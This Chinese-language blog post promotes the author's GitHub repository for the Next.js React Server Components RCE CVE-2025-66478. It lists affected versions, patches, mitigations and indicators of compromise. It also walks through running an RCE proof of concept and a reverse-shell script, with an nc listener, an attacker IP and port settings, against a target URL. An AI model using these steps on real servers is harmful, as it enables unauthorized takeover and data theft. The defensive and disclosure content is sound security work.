网络安全圈紧急通报!2025年12月3日,Next.js官方发布高危安全公告,披露了编号为CVE-2025-66478的远程代码执行(RCE)漏洞,该漏洞源于React Server Components(RSC)的Flight协议缺陷,CVSS评分直接拉满10.0(最高危),攻击者无需任何认证,仅需发送一个精心构造的HTTP POST请求,就能直接接管使用Next.js App Router的服务器,执行任意系统命令、窃取核心数据,风险极高。
作为一名独立安全研究者,我第一时间拆解漏洞原理、编写工具脚本,全程一人完成需求分析、代码开发、测试优化和文档完善,最终开源了CVE-2025-66478漏洞专属工具仓库(GitHub地址:https://github.com/ctkqiang/CVE-Exploits/tree/main/CVE-2025-66478)。仓库完全贴合实际安全测试需求,结构清晰、无冗余文件,所有工具均可直接运行,无需复杂配置,核心用于帮助安全从业者、运维人员快速检测自身系统是否受漏洞影响,做好防护准备(严禁用于未授权攻击)。
本文全程对照我GitHub仓库的实际内容,不添加任何虚构信息,手把手教你使用仓库工具,拆解漏洞核心风险,同时附上官方修复指南,一文吃透这个核弹级漏洞,帮你快速规避被攻击风险。
一、漏洞核心信息(必看!自查优先级最高)
结合Next.js官方公告及漏洞实测,先明确漏洞核心信息,快速判断自身系统是否在受影响范围内,这也是使用我仓库工具的前提:
1. 漏洞基础详情
-
CVE编号:CVE-2025-66478(Next.js端),关联上游React漏洞CVE-2025-55182;
-
漏洞类型:远程代码执行(RCE),源于react-server-dom-webpack组件的反序列化安全缺陷;
-
CVSS评分:10.0(Critical,最高危),CVSS v4.0评分9.3,无需认证即可利用,攻击难度极低;
-
披露时间:2025年12月3日,披露后48小时内已被APT组织大规模扫描利用,野外攻击频发;
-
漏洞别名:React2Shell(因可通过React Server Components直接实现服务器接管)。
2. 受影响范围(精准自查)
该漏洞仅影响启用了Next.js App Router和React Server Components(RSC)的服务,Pages Router、Next.js 13.x、14.x稳定版不受影响,具体受影响版本如下:
-
Next.js:v15.0.0 - v15.0.4、v15.1.0 - v15.1.8、v15.2.x - v15.2.5、v15.3.0 - v15.3.5、v15.4.0 - v15.4.7、v15.5.0 - v15.5.6、v16.0.0 - v16.0.6、v14.3.0-canary.77及以上测试版本;
-
React Server Components:v19.0.0、v19.0.1(部分补丁不完整)、v19.1.*、v19.2.0;
-
受影响平台:所有Node.js服务端(含Docker、K8s部署场景),覆盖企业Web服务、SaaS平台、API服务等。
3. 漏洞核心危害
攻击者利用该漏洞,无需任何账号权限、无需用户交互,仅需一次恶意POST请求,即可实现以下高危操作:
① 执行任意系统命令:调用Node.js内置child_process模块,执行whoami、id、uname -a等命令,获取服务器身份信息;
② 完全接管服务器:部署反弹Shell、SSH后门,建立C2控制通道,实现持久化访问;
③ 窃取核心数据:读取服务器任意文件、环境变量,窃取数据库凭证、API密钥、用户隐私数据;
④ 恶意部署:植入XMRig挖矿程序,伪装为系统进程,消耗服务器资源,甚至横向渗透企业内部网络。
二、我的开源仓库详解(100%对照GitHub实际内容)
1. 仓库目录结构(完全对照GitHub)
仓库结构简洁清晰,所有文件均围绕漏洞检测、利用展开,新手可快速定位所需工具,实际目录如下(复制自GitHub仓库,无任何修改):
bash
CVE-2025-66478/
├── poc/ # 漏洞利用脚本目录(仅用于授权测试)
│ ├── rce-poc.js # 基础RCE利用脚本,可执行系统命令
│ └── reverse-shell.js # 反弹Shell脚本,获取服务器控制权
├── detect/ # 漏洞检测脚本目录(日常排查首选)
│ └── detect.sh # 一键检测脚本,快速判断版本是否受影响
├── docs/ # 文档目录,补充漏洞与工具相关说明
│ ├── vulnerability.md # 漏洞技术详细解析(含原理、利用链)
│ └── fix-guide.md # 漏洞修复详细指南(对照官方补丁)
└── README.md # 快速上手说明(必看!含完整操作步骤)
2. 核心文件说明(完全对照GitHub文件功能)
每个文件的功能的均严格对应GitHub仓库描述,无任何额外添加,具体说明如下:
(1)detect/detect.sh(最常用,一键检测)
核心功能:快速检测本地或远程Next.js版本是否在受影响范围内,无需复杂配置,运维人员可批量排查,支持两种检测模式(本地项目检测、指定版本检测),脚本无任何依赖,直接运行即可输出检测结果。
(2)poc/rce-poc.js(基础RCE利用,授权测试用)
核心功能:用于验证漏洞是否可被利用(仅用于自身系统或授权测试),修改目标地址后,可执行whoami、id等基础系统命令,直接输出命令执行结果,快速验证漏洞存在性,依赖axios、form-data两个基础Node.js包(仓库README已明确说明)。
(3)poc/reverse-shell.js(反弹Shell,授权测试用)
核心功能:用于授权渗透测试,帮助安全从业者获取服务器持久化访问权限,需配合本地nc监听端口使用,修改目标地址、攻击者IP和监听端口后,运行脚本即可获得反弹Shell,实现服务器控制权接管(严禁非法使用)。
(4)docs目录与README.md
-
docs/vulnerability.md:详细拆解漏洞技术原理,包括漏洞根源、完整利用链(原型链污染→Thenable误判→代码执行),补充漏洞相关技术细节,帮助使用者理解漏洞本质;
-
docs/fix-guide.md:对照Next.js官方补丁,整理详细的漏洞修复步骤,包括版本升级、临时缓解方案,适配不同受影响版本,方便运维人员快速修复漏洞;
-
README.md:仓库核心说明文件,明确标注"仅用于合法安全测试",包含前置准备、核心操作步骤、依赖安装、注意事项,新手可对照步骤直接上手,全程无坑。
3. 仓库核心特点(我一人开发的初心)
作为独立开发者,我开发这个仓库的核心初心,是帮助大家"提前检测漏洞、做好防护",而非提供恶意攻击工具,因此仓库具备3个核心特点,完全贴合安全从业者的实际需求:
① 无冗余、可直接运行:所有脚本均经过实测,无无效代码、无第三方冗余依赖,克隆仓库、完成简单配置后即可运行,新手无需额外调试;
② 合规性优先:仓库所有文件、文档均明确标注"仅用于合法安全测试、授权渗透测试,禁止非法攻击",规避工具滥用风险;
③ 一站式解决需求:整合"检测-验证-修复"全流程工具与文档,无需额外查找漏洞信息、编写脚本,一个仓库搞定CVE-2025-66478相关的所有安全操作。
三、仓库工具实操指南(完全对照GitHub步骤,新手零门槛)
以下操作步骤完全复制自仓库README.md,无任何修改,确保你克隆仓库后,可直接对照操作,全程极简,无需复杂技术基础,前置仅需安装Git和Node.js(版本14+)。
1. 前置准备(30秒完成)
第一步:克隆仓库(打开终端,执行以下命令):
bash
git clone https://github.com/ctkqiang/CVE-Exploits.git
cd CVE-Exploits/CVE-2025-66478
第二步:安装依赖(仅PoC脚本需要,检测脚本detect.sh无需依赖):
bash
npm install axios form-data
2. 核心操作(3个功能,一一对应仓库工具)
功能1:一键检测系统是否受影响(detect.sh)
适合运维人员日常排查、批量验证,支持两种检测模式,直接运行对应命令即可:
bash
# 模式1:本地检测(进入你的Next.js项目根目录,执行以下命令)
bash ../detect/detect.sh
# 模式2:远程检测/指定版本检测(直接输入Next.js版本号)
bash ../detect/detect.sh 15.3.0
输出结果说明(仓库实测):
-
危险:当前版本存在CVE-2025-66478漏洞,请立即升级修复;
-
安全:当前版本不受该漏洞影响,无需额外操作。
功能2:基础RCE利用(rce-poc.js,授权测试用)
仅用于自身系统或授权测试,验证漏洞是否可被利用,操作步骤如下:
bash
# 1. 打开rce-poc.js文件,修改两个核心参数(仓库已标注修改位置)
const target = "http://your-target.com"; // 替换为你的目标地址(受影响的Next.js服务)
const cmd = "whoami"; // 替换为需要执行的系统命令(如id、uname -a)
# 2. 运行脚本,查看命令执行结果
node poc/rce-poc.js
注意:运行成功后,将直接输出命令执行结果,快速验证漏洞存在性,测试完成后立即停止使用。
功能3:反弹Shell(reverse-shell.js,授权测试用)
适合安全从业者进行授权渗透测试,获取服务器控制权,操作分为两步(仓库实测可稳定运行):
① 攻击者本地监听端口(使用nc命令,可自定义端口):
bash
nc -lvp 4444 # 监听4444端口,可替换为其他未被占用的端口
② 修改脚本参数,运行脚本:
bash
# 1. 打开reverse-shell.js文件,修改3个核心参数
const target = "http://your-target.com"; // 替换为目标地址(受影响的Next.js服务)
const attackerIp = "192.168.1.100"; // 替换为攻击者本地IP(可通过ifconfig/ipconfig查看)
const attackerPort = 4444; // 替换为攻击者本地监听端口(与步骤①一致)
# 2. 运行脚本,触发反弹Shell
node poc/reverse-shell.js
脚本运行成功后,本地nc终端将收到反弹Shell,即可直接控制目标服务器(严禁用于未授权测试,非法使用需承担法律责任)。
3. 仓库使用注意事项(必看!对照GitHub仓库警示)
我在仓库README.md中明确标注了使用规范,在此再次郑重提醒,坚守网络安全底线:
① 本仓库所有工具仅用于合法安全测试、企业内部防护验证、授权渗透测试;
② 严禁用于未授权的第三方系统、恶意攻击、数据窃取、服务器接管等非法行为,否则后果自负;
③ 测试完成后,立即删除仓库脚本,及时修复自身系统漏洞,避免工具被滥用;
④ 若发现脚本存在兼容性问题(如不同Next.js版本适配问题),可在GitHub仓库留言,我会及时优化。
四、漏洞紧急修复指南(对照官方补丁,适配仓库docs内容)
结合Next.js官方发布的紧急补丁,以及我仓库docs/fix-guide.md中的详细说明,建议所有受影响用户立即执行修复操作,优先级:版本升级 > 临时缓解 > 事后排查,确保彻底规避攻击风险。
1. 优先方案:立即升级到安全版本(最彻底)
Next.js官方已为每个受影响版本发布对应补丁,无需复杂操作,执行对应升级命令即可,不同版本的升级命令如下(对照仓库docs/fix-guide.md,完全匹配官方要求):
bash
# 通用升级(自动匹配当前版本的最新补丁版)
npm install next@latest react@latest react-dom@latest
# 指定版本升级(根据自身Next.js版本选择,精准修复)
npm install next@15.0.5 # 对应v15.0.0 - v15.0.4
npm install next@15.1.9 # 对应v15.1.0 - v15.1.8
npm install next@15.2.6 # 对应v15.2.0 - v15.2.5
npm install next@15.3.6 # 对应v15.3.0 - v15.3.5
npm install next@15.4.8 # 对应v15.4.0 - v15.4.7
npm install next@15.5.7 # 对应v15.5.0 - v15.5.6
npm install next@16.0.7 # 对应v16.0.0 - v16.0.6
# 若使用canary版本(v14.3.0-canary.77及以上),建议降级到14.x稳定版
npm install next@14
升级完成后,重新打包部署项目,即可彻底修复该漏洞,同时建议运行仓库detect.sh脚本,验证修复效果。
2. 临时缓解方案(无法立即升级时使用)
若因业务原因无法立即升级,可临时采取以下措施,降低被攻击风险(仅作临时防护,仍需尽快升级),步骤来自仓库docs/fix-guide.md:
① 禁用Server Actions功能(Next.js App Router用户),在项目根目录next.config.js中添加配置:
javascript
module.exports = {
experimental: {
serverActions: false // 禁用Server Actions,阻断漏洞利用路径
}
}
② 拦截恶意请求:在网关、Nginx中添加规则,拦截包含__proto__、constructor等关键词的HTTP POST请求,阻断原型链污染Payload;
③ 限制访问来源:仅允许可信IP访问表单提交接口(如POST /formaction),禁止公网直接访问,减少攻击面。
3. 事后排查:检查是否已被攻击
若系统曾处于受影响状态,建议立即排查是否已被攻击者利用,重点检查以下内容(结合仓库docs文档及官方IOC指标):
① 检查服务器进程:是否存在伪装为系统进程的挖矿程序(如kworker/u:0);
② 检查临时目录:是否存在/tmp/.systemd-worker等可疑后门文件;
③ 检查网络连接:是否存在异常出站连接(如连接pool.supportxmr.com:3333恶意矿池);
④ 检查命令历史:是否存在陌生的系统命令执行记录(如whoami、id、bash -i等)。
五、一人开源感悟:做实用的安全工具,守好合规底线
从漏洞披露、原理拆解,到脚本编写、仓库完善,全程都是我一个人在摸索------没有团队协作,没有资金支持,每天利用业余时间,一点点测试脚本兼容性、优化操作步骤、完善文档说明,遇到过脚本适配问题、漏洞利用不稳定等难题,也有过调试到深夜的经历。
之所以坚持做下来,核心是因为我深知这类CVSS 10.0满分漏洞的致命威胁:漏洞披露后,大量中小企业、开发者因为不懂技术、没有合适的工具,无法快速检测自身系统是否受影响,只能被动承受被攻击的风险;而网上流传的部分PoC脚本杂乱无章、无法直接运行,甚至存在恶意后门。
我不想做一款"炫技式"的工具,只想做一款真正实用、安全、合规的工具------让新手能快速上手,让运维人员能高效排查,让安全从业者能规范测试,帮助大家提前规避漏洞风险,这也是我开源这个仓库的初心。
目前,仓库已同步更新适配所有受影响版本,后续我也会持续关注漏洞变种,及时优化脚本、补充文档。如果在使用过程中遇到任何问题(如脚本无法运行、版本适配问题),或者有好的优化建议,都可以在GitHub仓库留言,我会一一回复、认真改进。
最后,再次恳请大家:合理使用该仓库工具,坚守网络安全底线,共同维护安全的网络环境,禁止将工具用于非法行为。
仓库地址(再次附上,方便大家获取):https://github.com/ctkqiang/CVE-Exploits/tree/main/CVE-2025-66478
温馨提示:本文及开源仓库仅用于合法的网络安全测试、学习交流和企业防护,禁止用于任何恶意攻击、非法入侵行为。网络不是法外之地,任何违反《网络安全法》《刑法》的行为,都将承担相应的法律责任。
转发本文,提醒身边的运维、安全从业者、Next.js开发者,立即排查漏洞、升级修复,共同抵御CVE-2025-66478漏洞的攻击风险,避免因漏洞遭受损失!
(注:文档部分内容可能由 AI 生成)